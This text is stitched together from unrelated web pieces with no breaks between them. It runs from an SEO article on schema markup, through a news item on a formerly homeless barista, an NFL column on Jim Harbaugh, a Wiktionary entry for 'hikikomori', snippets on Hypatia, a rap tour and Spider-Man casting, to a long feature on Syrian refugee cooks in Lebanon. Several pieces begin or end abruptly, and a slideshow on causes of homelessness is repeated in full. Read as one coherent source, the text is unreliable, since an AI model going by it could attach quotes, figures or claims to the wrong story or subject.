Content & Structured Data As if content weren’t enough, more and more companies are starting to hear the message around marking up content, and taking an action towards it. This is a future-proofing tactic that will serve websites well. Duane Forrester The above quote from Bing’s Duane Forrester suggests that brands should be prepared for the evolution of semantic search. Many in the SEO community refer to this concept as “things, not strings,” which is illustrative of how search now works to identify entities, not just keyword strings within web documents. Over the past year or so, we’ve seen search engines like Google make strides in semantic search. With improvements to Google’s Knowledge Graph (launched in 2012) and the infrastructure update of Google’s search product (dubbed “Hummingbird“), we’re at the beginning stages of another revolution in SEO. But remember, things move quickly. As many of us know, “optimization” no longer means “putting keyword X here.” Optimization of content pulls in a myriad of technical SEO tactics that ensure search engines better understand the content so they can serve it up to the end user. To prepare your site’s content for the progression of semantic search, consider: A Process For Implementing Schema.org Markup. Devise a plan for marking up your site’s existing content; then, develop a plan for marking up new content so that it’s built into the publishing process. This markup not only helps the search engines, but can deliver a better experience for the searcher (think “rich snippets,” for example). A Better Understanding Of How Semantic Search Works In General. Although semantic search is being talked about in technical SEO circles, there’s still a lot of work to be done for brands to understand and adopt it. Read up on this concept so your brand can start to plan for the future. A few great resources on the topic include: Semantic SEO: Making from Strings to Things by Aaron Bradley at SEOSkeptic.com
A Deep Dive into Google’s Image Carousel and Knowledge Graph Results by Tom Schmitz for Search Engine Land
Knowledge Graph Optimization by AJ Kohn at BlindFiveYearOld.com Forrester said it best in his interview with BrightEdge: “As engines ramp up how they use that marked up data, richer consumer experiences emerge. The winners from all those experiments in UX, SERP shuffles, etc., will stick around long term. But you’ve got to be marked up to play.” Keeping Pace With Content & SEO Those who understand the mechanics of search and the goals of the search engines have always been on the leading edge of SEO. And while the SEO of yesteryear may seem simplistic today, remember that SEOs had far fewer resources to learn about and implement these tactics back then. What we do know for certain is that the constant in SEO is the experience — and that experience stems from the type of content a brand creates and how it delivers that content. (Stock images via Shutterstock.com. Used under license.)
Adan Abobaker, 44, dove into the river in November 2010 to help the woman, contracting hypothermia and losing his warm clothes and possessions to thieves.
But now he has found part-time work as a coffee cart barista in Borough Market, and he said he is “just starting to see the light at the end of the tunnel”, as reported by the Evening Standard.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
"[…] the job gives me a purpose, I don’t feel like I am in survival mode all the time and I am hopeful that this will lead to full-time work later on," he told the newspaper.
"I trained as a chef so it would be great to get back there at some point."
His job has been sourced through Change Please, which operates 15 coffee carts around the capital.
Change Please offers a London Living Wage as well as support to find housing, open a bank account and access to therapy.
The carts' coffee beans come from Peckham’s Old Spike roastery, which also employs former homeless people.
Shape Created with Sketch. The causes of homelessness Show all 7 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. The causes of homelessness 1/7 Family Breakdown Relationship breakdown, usually between young people and their parents or step-parents, is a major cause of youth homelessness. Around six in ten young people who come to Centrepoint say they had to leave home because of arguments, relationship breakdown or being told to leave. Many have experienced long-term problems at home, often involving violence, leaving them without the family support networks that most of us take for granted 2/7 Complex needs Young people who come to Centrepoint face a range of different and complex problems. More than a third have a mental health issue, such as depression and anxiety, another third need to tackle issues with substance misuse. A similar proportion also need to improve their physical health. These problems often overlap, making it more difficult for young people to access help and increasing the chances of them becoming homeless Getty/iStock 3/7 Deprivation Young people's chances of having to leave home are higher in areas of high deprivation and poor prospects for employment and education. Many of those who experience long spells of poverty can get into problem debt, which makes it harder for them to access housing Getty Images/iStockphoto 4/7 Gang Crime Homeless young people are often affected by gang-related problems. In some cases, it becomes too dangerous to stay in their local area meaning they can end up homeless. One in six young people at Centrepoint have been involved in or affected by gang crime Getty Images/iStockphoto 5/7 Exclusion From School Not being in education can make it much more difficult for young people to access help with problems at home or health problems. Missing out on formal education can also make it more difficult for them to move into work Getty Images/iStockphoto 6/7 Leaving Care Almost a quarter of young people at Centrepoint have been in care. They often have little choice but to deal with the challenges and responsibilities of living independently at a young age. Traumas faced in their early lives make care leavers some of the most vulnerable young people in our communities, with higher chances of poor outcomes in education, employment and housing. Their additional needs mean they require a higher level of support to maintain their accommodation Getty Images/iStockphoto 7/7 Refugees Around 13 per cent of young people at Centrepoint are refugees or have leave to remain, meaning it isn't safe to return home. This includes young people who come to the UK as unaccompanied minors, fleeing violence or persecution in their own country. After being granted asylum, young people sometimes find themselves with nowhere to go and can end up homeless Getty Images/iStockphoto 1/7 Family Breakdown Relationship breakdown, usually between young people and their parents or step-parents, is a major cause of youth homelessness. Around six in ten young people who come to Centrepoint say they had to leave home because of arguments, relationship breakdown or being told to leave. Many have experienced long-term problems at home, often involving violence, leaving them without the family support networks that most of us take for granted 2/7 Complex needs Young people who come to Centrepoint face a range of different and complex problems. More than a third have a mental health issue, such as depression and anxiety, another third need to tackle issues with substance misuse. A similar proportion also need to improve their physical health. These problems often overlap, making it more difficult for young people to access help and increasing the chances of them becoming homeless Getty/iStock 3/7 Deprivation Young people's chances of having to leave home are higher in areas of high deprivation and poor prospects for employment and education. Many of those who experience long spells of poverty can get into problem debt, which makes it harder for them to access housing Getty Images/iStockphoto 4/7 Gang Crime Homeless young people are often affected by gang-related problems. In some cases, it becomes too dangerous to stay in their local area meaning they can end up homeless. One in six young people at Centrepoint have been involved in or affected by gang crime Getty Images/iStockphoto 5/7 Exclusion From School Not being in education can make it much more difficult for young people to access help with problems at home or health problems. Missing out on formal education can also make it more difficult for them to move into work Getty Images/iStockphoto 6/7 Leaving Care Almost a quarter of young people at Centrepoint have been in care. They often have little choice but to deal with the challenges and responsibilities of living independently at a young age. Traumas faced in their early lives make care leavers some of the most vulnerable young people in our communities, with higher chances of poor outcomes in education, employment and housing. Their additional needs mean they require a higher level of support to maintain their accommodation Getty Images/iStockphoto 7/7 Refugees Around 13 per cent of young people at Centrepoint are refugees or have leave to remain, meaning it isn't safe to return home. This includes young people who come to the UK as unaccompanied minors, fleeing violence or persecution in their own country. After being granted asylum, young people sometimes find themselves with nowhere to go and can end up homeless Getty Images/iStockphoto
Mr Abobaker said he has not met the woman he helped since 2010, as he “wanted her to move on”, but said he would be happy to meet.
He described life on the streets since 2001 as “difficult” and "hard", adding that people tried to urinate on him and light matches on him.
He currently lives in a hostel.
He said: "Everyone is just one paycheck away from being on the streets in London."
Change Please reported that around 4,000 people sleep rough in the UK every night.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
The saga of the impending divorce in San Francisco between the fantastic, difference-making coach and the 49ers has it all. The potential chase -- by the Raiders, Bears, Jets, Dolphins, other NFL clubs and Harbaugh's alma mater, Michigan -- gives it sizzle. And that was true before NFL Media insider Ian Rapoport dropped a major scoop Wednesday, reporting that the University of Michigan is going all in on Harbaugh with the offer of a whopping six-year, $48 million contract that would make him the highest-paid coach in college and among the highest-paid coaches at any level.
Wow.
It's eye-opening. It's jaw-dropping. And it would be a fantastic hire for a downtrodden Michigan program. The Wolverines are one of the entities in major sports that you want to be great and relevant; the college football landscape is better when you have Michigan to love or loathe. Harbaugh is a "Michigan man," but one with fresh ideas. The combo is exactly what the school needs. He would land big-time recruits, boost morale and build a powerhouse. It would be a perfect home-run hire, and the best possible fit.
But Jim Harbaugh should reject the school's offer and instead coach an NFL team that hasn't been to the playoffs in over a decade.
Jim Harbaugh should coach the Oakland Raiders. Really.
After mulling over the mega-bucks deal on the table -- and pretending to mull it over some more -- Harbaugh should declare his love for Michigan, then turn it down. Because while I'm sure there is an emotional pull to the school, Harbaugh has coached in college already, at San Diego and while mounting a fantastic turnaround at Stanford. And he wants to win a Super Bowl. Consider that he was two plays away -- Kyle Williams' fumble against the Giants in the 2011 NFC title game and Colin Kaepernick's pick on Championship Sunday last season -- from going to three straight Super Bowls. After coming that close to winning the Lombardi Trophy in the big-boy league, you don't respond by trying to convince 17-year-old offensive linemen to call Ann Arbor home. Not when you're as competitive as Jim Harbaugh.
The Raiders seem to have wanted either Harbaugh or a reunion with former coach Jon Gruden -- and on Monday, it was announced that Gruden signed a long-term deal to stay at ESPN and keep calling "Monday Night Football" games with Mike Tirico. It was a win for the network, as Gruden is great. It was a loss for the Raiders. And it was a win for Harbaugh. During the process of Harbaugh's faux deliberation, Oakland owner Mark Davis will start to sweat, presumably leading him to add more money and power to his eventual offer.
With the Michigan news and Gruden's ESPN extension being announced in the same week, it appears Christmas came early in the Harbaugh household.
The thing is, the Raiders, believe it or not, actually offer Harbaugh everything he wants. Seriously, they do. An organization that hasn't won in forever and is seemingly in a constant state of flux is perfect for a coach who oozes competitive fire.
Davis knows what he doesn't know, and he is more than willing to let his football people make football decisions. Unfortunately for the Raiders, general manager Reggie McKenzie and former coach Dennis Allen -- who was fired earlier this season -- failed. In McKenzie's two-plus seasons on the job, the Raiders have won 10 games, including just two in 2014. They need a change.
Harbaugh thrives on challenges, and Oakland most certainly represents one. He isn't afraid of being tested, as evidenced by the way he transformed the total mess former Niners coach Mike Singletary left in San Francisco, building an instant contender while resuscitating Alex Smith's career. Harbaugh craves a resurrection project, starting from scratch, as he's shown both in San Francisco and in college.
Plus, to McKenzie's credit, Oakland already has a quarterback. Rookie Derek Carr has the tools to be successful. And McKenzie drafted a star linebacker in Khalil Mack, a Defensive Rookie of the Year candidate. The Raiders are going to have a top pick this year. Can you imagine if they can snag Alabama receiver Amari Cooper to team with Carr? They could also trade down to stockpile additional picks and talent.
As for compensation, Harbaugh reportedly wants to be paid top dollar. And one general manager I talked to this week says he thinks Davis will "do whatever it takes and pay (Harbaugh) whatever he wants" to make him the Raiders' coach.
Finally, Harbaugh, who reportedly feuded with 49ers general manager Trent Baalke over power and with CEO Jed York over respect, appears to want full autonomy. According to another general manager, "Jim wants the setup Pete (Carroll) has. He wants to coach. He wants final say. He wants to pick his GM. And he wants to get paid. How many places will do that?"
Well, Oakland for one.
And there's more. Harbaugh's wife, Sarah, is said to be very fond of living in Northern California. Even if the Raiders were to move to Los Angeles, they'd be closer than, let's say, Chicago, Miami or Ann Arbor.
But what about other NFL teams? The situations with the Bears (embroiled in toxic Jay Cutler drama) and the New York Jets are too chaotic for Harbaugh. I don't think either team would check all of the above boxes. And would they pay him? Fellow Michigan man and Dolphins owner Stephen Ross tried to hire Harbaugh before, and money wouldn't be a problem in Miami. But Ross has a large inner circle. (The Miami Herald did a fantastic job reporting on this.) That would drive Harbaugh batty. Here's guessing he knows that.
I think the tension and negativity in San Francisco bubbled over and seeped into the team, which was eliminated from the playoff chase last week. It's a shame that Harbaugh, Baalke and York couldn't seem to get on the same page. Winning and making three straight NFC title games served as the ultimate deodorant, but this year, it was too much to bear moving forward. Now, though there's one year left on Harbaugh's contract, it's time for the Niners -- who no doubt want to facilitate their own search for his replacement -- to cut the cord and either fire him, reach a settlement or trade him.
Can you imagine Harbaugh, a former Raiders assistant, guiding Oakland out of the abyss? It's the ultimate challenge for the ultimate competitor -- and it would satisfy his ego, family life and bank account.
Michigan could be enticing. But I don't see it for this coach, who should just say no.
Harbaugh restored the magic to the Niners, and he could accomplish something legendary across the Bay.
He wins. He bucks authority. He kicks butt and takes names. Jim Harbaugh was born to save the Raiders and bring them back to glory.
Etymology [ edit ]
Borrowed from Japanese 引き籠もり, which means literally "pulling inward, being confined" and is often translated as "acute social withdrawal" or shutter.
Noun [ edit ]
hikikomori English Wikipedia has an article on: Wikipedia
hikikomori (countable and uncountable, plural hikikomori or hikikomoris)
( uncountable ) A Japanese phenomenon whereby an individual becomes a recluse from society, typically confining him- or herself to the house or a single room for a very long period. ( countable ) A reclusive person of this kind.
Translations [ edit ]
phenomenon Armenian: հիկիկոմորի ( hikikomori )
Catalan: hikikomori m
Chinese: Mandarin: 蟄居 (zh) ( zhéjū )
Dutch: hikikomori
Finnish: hikikomori (fi) ( Japanese ) ; syrjäytyminen (fi) ( general )
; Galician: hikikomori m Italian: hikikomori (it) m
Japanese: 引き籠もり ( hikikomori )
Marathi: हिकिकोमोरि ( hikikomori )
Polish: hikikomori n
Portuguese: hikikomori (pt) m
Spanish: hikikomori m
Swedish: hikikomori (sv) m
Polish [ edit ]
Etymology [ edit ]
Borrowed from Japanese 引きこもり (hikikomori)
At the time of Hypatia's death, Alexandria was the intellectual center of the world, where philosophers and mathematicians gathered to teach and debate ideas from across the known world. Hypatia taught Platonic philosophy, Ptolemy's system of celestial movement, and the advanced mathematics of Euclid (her father was the one who brought Euclid's Elements to the city). She was known as a gifted teacher, and undoubtedly one of the greatest thinkers of the time. Her death was in many ways political, with the religious zealots trying to seize power and purge the more free thinking pagan philosophers. Some historians mark this as the turning point of the Alexandria as the hub of intellectualism, and the library was burned soon after (although this is controversial, to say the least, and probably not related). Most of Hypatia's original work was, as you might imagine, lost. After all, typically when you murder someone for heresy, you don't preserve their writings for future generations.
Rocky spoke on their decision to do this collaborative concert series, which will also feature Trinidad James and Joey Bada$$. "We're like two of a kind, from the same element. We're infatuated with marijuana, that's the obvious. For the most part, we share the same fans anyway. Most of my fans are his fans, most of his fans are my fans. So it's just like bridging that gap together, I think it's well over due."
Wiz also explained their plans for upcoming collaborations. "We don't have any [songs] together yet, but we're gonna make some, and then perform them. And we're gonna make videos, and star in them."
Viral marketing, most notably The Daily Bugle Tumblr page, has helped build the buzz for The Amazing-Spider Man 2 with subtle references to various Spider-Man characters, including villains such as Shocker. The official trailer for the film also offered a brief glimpse of the Vulture wings and Doctor Octopus' arms, which set off a whole new flurry of fan speculation.
But is Novak's character another piece of the puzzle? In an interview with The Huffington Post, he offered the following tease about his role in the film:
"You're in The Amazing Spider-Man 2, but we really don't know who your character is. Is it a secret role?
No. I'm in a couple of scenes. Yeah, I was never told whether or not I could say. I can say that I work at Oscorp. And I am someone from the comic books, someone from the original. So, yeah, I'm somebody. I wouldn't say I'm pivotal, but I'm not an extra, either."
One popular theory is that Novak plays Otto Octavius, who becomes Doc Ock. If "someone from the original" means the original Sam Raimi Spider-Man film trilogy, then Doc Ock would fit the bill.
We'll find out when The Amazing Spider-Man 2 swings into theaters on May 2, 2014.
© 2019 Mstars News, All rights reserved. Do not reproduce without permission.
When they arrived, Masto registered the family with the UN refugee agency in the city. There she heard about a cooking programme for women that was run by the Catholic charity Caritas. Masto, who was scared, insecure and on the verge of clinical depression, signed up. “I wanted to do something with my life,” she told me.
On the first day, Masto found herself with more than 30 women crowded into an unprepossessing room with a single stove and a sink. They looked each other up and down. Almost all, except a couple of Lebanese women, were Syrian refugees: sophisticates from Damascus and Aleppo, Kurds from the north, housewives from tiny villages in the north‑west. Some were Christian and some were Muslim, some were veiled and some not, some were pro-regime and others had lost sons fighting it. An atmosphere of wariness pervaded the room.
Designed with the help of Kamal Mouzawak, a suave entrepreneur who has done much to promote traditional Lebanese food over the past decade, the course aimed to teach women how to use their home-cooking skills – which they took for granted as a domestic chore – to find jobs in catering. More importantly, Mouzawak told me, the course was a chance to get the women together, to give them a place to share their stories and recipes, to empower them.
Remembrance of tastes past: Syria’s disappearing food culture – podcast Read more
The first task was to make kibbeh, parcels of bulgur wheat filled with minced lamb. Kibbeh is a dish found throughout the Middle East and regional permutations, as well as numerous transliterations – kibbeh, kubba, kubi – abound. The outer shell can be made with semolina or ground rice, the filling can be bulked out with pumpkin or potato, or flavoured with lemon, garlic, cinnamon, allspice, dried mint, parsley, sumac, cumin, chilli. Kibbeh can be fried or roasted or stewed, layered into sloppy casseroles or baked into big meatloaves. In Lebanese restaurants, they are small and pinched into an American football shape. In Iraq, a kubba is a giant hubcap of dough encasing a sprinkling of meat. In Israel, kubba is a Sephardic dish of dumplings in soup.
Everyone on the course had a different way of making kibbeh and everyone wanted theirs to be the best. Among the classmates were two Assyrian Christians, Marlene and Nahren. They made their kibbeh into a large flattened disc stuffed with lamb. It was soft instead of crunchy and no one had ever seen kibbeh that was boiled like this before.
“I was so curious to know how they were doing it,” Masto told me earlier this year. “But they kept it a secret. They would prepare their dough at home and bring it in ready-made. This made me even more curious.”
One morning in class, when the women were talking over coffee, Masto tried to engage Marlene in conversation. “I tried in my own way to be polite and kind and to counter their wariness and their fear of Muslims. Of course, my real motive was to discover the secret ingredient in their kibbeh dough. But there was this barrier between us, between Christian and Muslim, so I tried to remove the barrier. I tried to show them the peaceful message of Islam and explain that Mohammed was a peacemaker, just as Jesus was. This brought us together a bit and we began to develop a friendship.”
Still, relations between classmates occasionally became strained. One day, Samira, a widow with grown-up children, asked Marlene if she could help her prepare kibbeh. Marlene rebuffed her, telling Samira not to interfere. Samira took umbrage and shouted back at her. The kitchen became tense and Mouzawak, who was helping oversee the class that day, had to intervene, telling the women that they were all there to learn together, and that they should each teach the other a dish they could cook together.
Samira and Marlene agreed, but Marlene was not happy about it. “I am obliged to agree,” she told Masto, “but I am only going to give the real recipe to you. You are the only one who is a good enough cook and trustworthy, and I know you will make it in the correct way.”
For Syrians, food is an especially important part of national identity. Syrian cuisine has evolved over thousands of years of conquests, trading and migrations, shaped and blended by dozens of peoples: Arab, Kurdish, Druze, Armenian, Circassian, Assyrian, Alawite, Turkish, Turkmen, Palestinian, Ismaili, Greek, Jewish, Yazidi. The Syrian table is an expression of a multicultural country and a way of living together that is being destroyed by civil war.
Six million Syrians have fled their homeland since 2011. Lebanon has more than a million registered Syrian refugees, although most people agree that the total number is much higher. Even in exile, many Syrians talk about food with the same pride, fervour and obsession with terroir as the French do. Quite often, when I was talking to Syrians in Lebanon, they would grumble about the inferiority of Lebanese vegetables, the blandness of the imported Australian lamb and the lack of variety of the restaurant food.
Even in exile, many Syrians talk about food with the same pride, fervour and obsession with terroir as the French do
“The fat – the fat of Syrian lamb!” recalled Magdy Sharshafji, an Assyrian businessman who left Aleppo after the war began. I met him one night in Loris, the fancy restaurant he had opened in Beirut. He ordered a dish of the famous Aleppan cherry kebab for me to try. “I can tell you the difference where the sheep has lived, whether it is from Aleppo or Hama, just by the smell of the fat!” He grinned, remembering, and then held up his empty palms as a gesture of nostalgia and sadness for a world, a life, a culture that may be lost to him for ever.
In Sharshafji’s hometown of Aleppo, the cuisine is known for its pepperiness because it was an old Spice Road hub: a crossroads where elaborate Ottoman dishes mixed with sweet and sour recipes brought by Chinese caravans, and the combination of meat and fruit beloved by the Persians. A famous Aleppan dish is kibbeh made with quince, cooked with fresh pomegranate juice.
“In Lebanon we have maybe six or eight different kinds of kibbeh. In Syria they have endless variations,” Anissa Helou, a Lebanese food writer, told me. She laid out the regional variety of Syrian food: “In Damascus, the dishes are heartier, more straightforward; street food. And, of course, Damascus is the kingdom of baklava. On the coast you have fish, and close to Jordan, in the desert you have mansaf [a traditional Bedouin dish of meat cooked in fermented dried yoghurt].”
Facebook Twitter Pinterest Kibbeh comes in many varieties in countries throughout the Middle East. Photograph: Karam Miri/Getty Images/Hemera
Dima Chaar, a young Syrian chef, bright and pretty with a pixie haircut, told me that when she grew up in Damascus, cooking was “a time for talking and gossip”. As we sat on a restaurant terrace late one evening after her shift, Chaar described a dish her grandmother used to make: lamb cutlets seasoned with a whole head of garlic and dried mint, cooked in lemon juice and water. “She used to put ghee [clarified butter] in is as well, to make it richer – we used to cook it on Fridays when everyone would gather.”
Chaar still travels back and forth between Beirut and Damascus. She visits her grandmother and writes down her old recipes. “Nowadays,” she said, “women are no longer cooking the complicated stuff. There aren’t large families to feed any more. Their sons are killed or have left, they no longer celebrate.”
Chaar drew deeply on a pull of apple-flavoured shisha. “I think most of us feel that we are lost. I wanted to stay in Lebanon rather than follow my family to Montreal. Yes, I think I hoped to go back to Syria. But after five years, honestly, now I am just living day by day.”
When Ebtisam Masto graduated as one of the stars of the Caritas programme, Kamal Mouzawak asked her to set up a kibbeh stall at the Souk El Tayeb, his farmers’ market in Beirut. This is where I first met her in April earlier this year, and I marvelled at her display of kibbeh, which were multicoloured and came in different shapes. I bought a lumpy potato one stuffed with spicy walnut muhammara, a semicircular variety with meat and mushrooms, a rolled kibbeh with spinach and pistachios and another made with lamb and quince.
“In Syria, we would always put meat in them,” Masto told me, “but here in Lebanon they prefer lighter and vegetarian.” Two eyebrows rose beneath her neatly pleated headscarf as if to signal amusement at the flighty sophistication of Beiruti ladies.
Syria’s truth smugglers | Julian Borger Read more
Everything about Masto’s outward appearance was neat and correct. She wore her long outer coat carefully buttoned up, her face was pale and clean of makeup. Her demeanour, however, was warm and voluble. She was wary of journalists – the last one she spoke to had portrayed her as an opponent of the Assad regime, in order to craft a heartwarming story about two Syrian women on either side of the war, who were nonetheless great friends, cooks and colleagues.
This had infuriated Masto, who had always maintained a careful position of neutrality. She lived in an area in Beirut that was mainly populated by pro-Assad Syrians, and after the article came out, Masto was worried about possible recriminations. Worse, being perceived as anti-Assad meant it would be very difficult for her family to return to Syria, even if the fighting lessened. In distress, she complained to the UN refugee agency and it asked if she would consider leaving Lebanon. Masto and Mohammed agreed that it was time to go.
When I met her, the family’s application for asylum had been approved. They had been told they would be resettled in America. At first this news had caused consternation. Germany or Canada, they knew, were good countries for refugees. “But, as Muslims, we assumed we would not be accepted in America,” she said.
As she quizzed me on what kind of article I intended to write, Masto made it clear that she did not want to be quoted about politics in case it caused problems with her asylum application. But she was willing to let me come to her home to learn how she makes kibbeh.
Masto lived with her family outside the centre of Beirut, high up on mountain slopes, in a wooded area that was lush with foliage and strewn with garbage. The day after she agreed to show me how to make kibbeh, she welcomed us into her home, a windowless cube, off a small courtyard of tiny, one-storey concrete structures – more a shanty of interconnected rooms than a cluster of houses. The room glowed green under a single fluorescent bulb. It had a rough concrete floor, two or three thin pallets arranged around the edges, a small television, a large refrigerator, a scuffed sofa and two plastic chairs. It was ruthlessly scrubbed and spotlessly clean.
Masto’s husband Mohammed came forward to greet us. He had a handsome square face, framed with grey hair that was brushed into a side parting. He declined to shake my hand and touched his palm to his chest instead.
“Welcome!” Masto repeated.
“Kibbeh!” I said, anticipating, clapping my hands together.
“Yes, but coffee first.” Khaled, Masto’s 17-year-old son, brought us two cups of Nescafé, while his sister Sidra followed with a bowl of sugar.
Masto sat cross-legged next to me on a thin foam pallet. Once Khaled had lugged out a big, shiny, sausage-grinding machine and plugged it into a loop of extension cord, Masto carefully pulled on a pair of white plastic gloves. A bowl of bulgur wheat was placed next to a plastic jug of water. Masto was ready to make kibbeh.
Ebtisam Masto was born in 1980 in the town of Jisr al-Shughour, in the northern Syrian province of Idlib. She left school when she was 12. When she was 15, she married her cousin Mohammed. “She was considered one of the best cooks!” said her husband proudly. “They would all cook together, making kibbeh. There were always lots of daughters, friends, sisters, because in the village women were at home.”
“My sister had a garden with rows of vegetables, and we would have picnics there and just pick the vegetables and eat them just like that,” recalled Masto.
Jisr al-Shughour is a Sunni town with a tradition of opposition to the regime of Bashar al-Assad and his father before him, Hafez al-Assad. In 2011, when Syria began its Arab Spring demonstrations, the people of Jisr al-Shughour were among of the first to take to the streets. That summer there was fighting – one of the earliest battles of the civil war – and in the confusion and gunfire large numbers of the town’s population fled. Masto and her children went to Lebanon to stay with Mohammed, but the children were not attending school there. After a couple of months, Masto’s parents told her that government forces had re-established calm in the town, so she decided to take the family home.
At first it was quiet, but soon the fighting started up again. “My children were traumatised listening to the sounds of war all the time,” said Masto. Pickup trucks piled with corpses drove past. The water was cut. There was no electricity. They scavenged firewood. Supplies could not get into the town from the countryside and food was scarce. “Eventually, it got to the point where I couldn’t find even flour to make the bread or anything to burn as fuel,” she said.
In early 2013, they began to kidnap girls. “Who were ‘they’?” I asked. Masto pursed her lips. Who knows who. They kidnapped the girls as a business and demanded enormous sums of money. Mohammed had not been able to visit them for more than a year. When Masto called him in Lebanon, she told him she was frightened for their daughters. It became clear they had to get out. They left Jisr al-Shughour at six in the morning, and after close calls at government checkpoints, they arrived in Damascus at 10pm. From there, they took a bus to the Lebanese border where Mohammed met them.
‘They were torturing to kill’: inside Syria’s death machine | Garance le Caisne Read more
Safe in Beirut, I watched Masto sprinkle the grains of bulgur with water and knead them together. Then she fed lumps of the crumbly mixture into the electric grinder. The grinder pushed the dough out as coils. She gathered these up, kneaded them together and then fed them into the grinder again. With each grind, the bulgur absorbed a little more of the water and the dough became a little softer and drier until it was as pliable as Play-Doh. Masto likes to add a little fine corn meal to her kibbeh. This is her special touch.
Masto was fastidious. She kneaded the dough as she talked. Nothing spilled, no grain was wasted. “You need to be delicate in the way you make the dough,” she said as she worked it. “You have to make it with love so that people will love it. If you do it without love, you cannot touch people.”
The World Food Programme, the emergency food assistance branch of the UN, currently supports more than 700,000 Syrian refugees in Lebanon. Since spring 2016 the programme has dispensed a monthly allowance of $27 per head to the two-thirds of refugee families it evaluates as the most vulnerable. The money is credited to an electronic card given to each family. They can then spend their allowance on food at 490 grocery stores registered with the scheme across Lebanon. Since 2012, $770m has been transferred through this system. One day in early May, I visited a family in the Bekaa Valley who rely on this scheme.
Abadi al-Eid had arrived in Lebanon with his wife, Khawla, and their three children, more than two years earlier, having escaped the Syrian city of Raqqa, which has been controlled by Isis since January 2014. They have since had another little boy. They live in one of the many small refugee camps that have sprung up on fields throughout the fertile plateau between Beirut and the Syrian border.
I went with Abadi and Khawla as they did their monthly shop at a small grocery store on the Damascus-Beirut road. They brought with them their eight-year-old son Ibrahim, who had an undiagnosed neurological condition and whose growth was stunted. Everyone called him “Hajji”, an ironic name more commonly used to refer to an elder who has made the hajj pilgrimage.
Facebook Twitter Pinterest The Al-Eid family eating lunch in their tent. Photograph: Wendell Steavenson for the Guardian
Hajji grinned and stuck out his arms to shake my hand. He giggled, swaggered and marched, he became suddenly aggressive and then teetered on the edge of a tantrum. He wanted sweets, he wanted biscuits. His mother gave him a packet of biscuits, and he hugged them to his chest and shovelled one after another into his mouth.
“He wants to eat everything!” Khawla told me, sighing. He ate all the time, she said, but still he was skinny and scabbed. The family had taken him to the UN clinic, but there was no money for a blood test. “Before the war, he was not like this. They said he cannot go to the school because he is disruptive. We have had to move camps five times because other people do not accept him.”
As Abadi pushed the trolley around the little shop, Hajji stamped and screamed, hot tears wet on his cheeks. He wanted chocolate cereal. Khawla put an expensive box of chocolate cereal into the trolley.
At the checkout, the Al-Eids bought the following:
Two rounds of white cheese A bottle of Ocean Spray cranberry juice A bag of zataar, dried thyme Popping corn Three large boxes of dried molokhia, a kind of green leaf vegetable A large pot of yoghurt Several kilos of different lentils, beans and bulgur wheat A 16-litre tin of cooking oil A 4-litre tin of olive oil Two large cans of fresh peas Two cans of meat Four tins of sardines A 2.5kg kilo tin of tomato paste. Chocolate cereal
They did not buy any eggs or vegetables or fresh meat, which are expensive. There is a joke about a Syrian dish called batata ou farouj – potatoes and chicken cooked with lemon. These days it is very rare to have chicken, so the refugees make the dish without any meat and call it “flying chicken” because the chicken has flown away.
The Al-Eids live in a tent large enough to stand up in. The frame is made of wood, while the walls are a patchwork of corrugated iron, slats of thin plywood and tarpaulin stamped with the UN refugee agency logo. The roof is covered with old waterproof advertising banners and weighted with car tyres.
Abadi did not work. He was friendly and smoked cigarettes and when I asked him about the future, he opened his palms to the sky, resigned to God’s will.
Khawla crouched next to a blue gas canister on top of which was perched a pot of yellow lentil soup. Back in Syria, Khawla told me, she used to cook whatever she liked. “Kibbeh, and stuffed vegetables, these things that I used to make, I don’t make any more. I am stressed and worried all the time. Sometimes I can’t even remember things. I have a bad memory because I can’t think properly. I am only living day to day. I miss my family, we would all gather together to eat.”
After Masto had made and shaped the dough, she showed me how to make the filling. She chopped an onion without looking at it, in quick, even, long slices. The onion was placed in one bowl, broken walnuts in another, finely chopped parsley in another.
In the kitchen, on a little stove balanced on a table, she stirred the walnut pieces in a hot pan, then poured in pomegranate molasses so that it bubbled. She stirred in the onions, careful not to let them burn. After a few minutes, she tipped the mixture onto a clean plate and sprinkled it with parsley.
As a child, Masto learned to cook kibbeh from her mother, who came from Aleppo. This means that she tends to make her dishes spicy. The subtle fire of Aleppo red pepper finds its way into almost every local dish, either powdered, like a paprika, or cooked, pulped and dried in the open air into a brick-red paste.
From her father, who had been a plumber, Masto learned her love of the Qur’an and her love of singing. When they were very little, she and her siblings would gather at their father’s knees while he sang suras. If they were curious he would show them the words in the Qur’an and spell them out and explain their meaning. Masto became a little emotional when she talked about her father. He died last year, in exile, in Lebanon.
She put down her kibbeh parcels for a moment and asked: “Would you like me to sing the sura for you?”
Facebook Twitter Pinterest Ebtisam Masto and her signature kibbeh. Photograph: Wendell Steavensom for the Guardian
She closed her eyes and concentrated all her effort into the words, the cadence and the beauty of the verses. She had a glorious voice, strong and pure and faithful. In that grim concrete room it struck me that everything Masto did, she did with her whole self. Nothing was given less attention than her very best. There were tears in my eyes. Without a word, Sidra, Masto’s 11-year-old daughter, handed me a tissue.
Not long after she had finished singing, Masto returned to her kibbeh. She spooned the filling into the prepared cases and pinched the edges closed so that they made a double-ended teardrop shape – a classic kibbeh. Then she deep-fried them in oil.
Masto’s signature kibbeh is called kibbeh al rayeg, which means kibbeh of the monk. The recipe comes from a crossroads outside Jisr al-Shughour where a hermit lived. According to local legend, the monk made this kibbeh and gave it out to people on Sundays. In the cooking workshop, Masto’s monk’s kibbeh was voted the best.
She glowed with pride as she told me this, while mixing the deep red muhammara paste with pomegranate molasses and cumin, then loosening it with olive oil to make a sauce. Then she placed the kibbeh on a small plate. I ate them with my fingers. Salt and sour, the soft crumble of bulgur and nuts crunched together, bittersweet.
Once, when talking to refugees in one of the camps in the Bekaa Valley, I asked a group of women if they made pickles and jams. The young chef Dima Chaar had told me that preparing mouneh (pickles) was a communal activity, part of the social fabric of Syria. “My mother used to get together with her neighbours in Damascus,” she said. “In artichoke season for example, my dad would go to the market and buy kilos of artichokes and then all the women would gather and clean them and cook them and prepare them, making preserves or freezing. Mounie is the tradition of preserving.
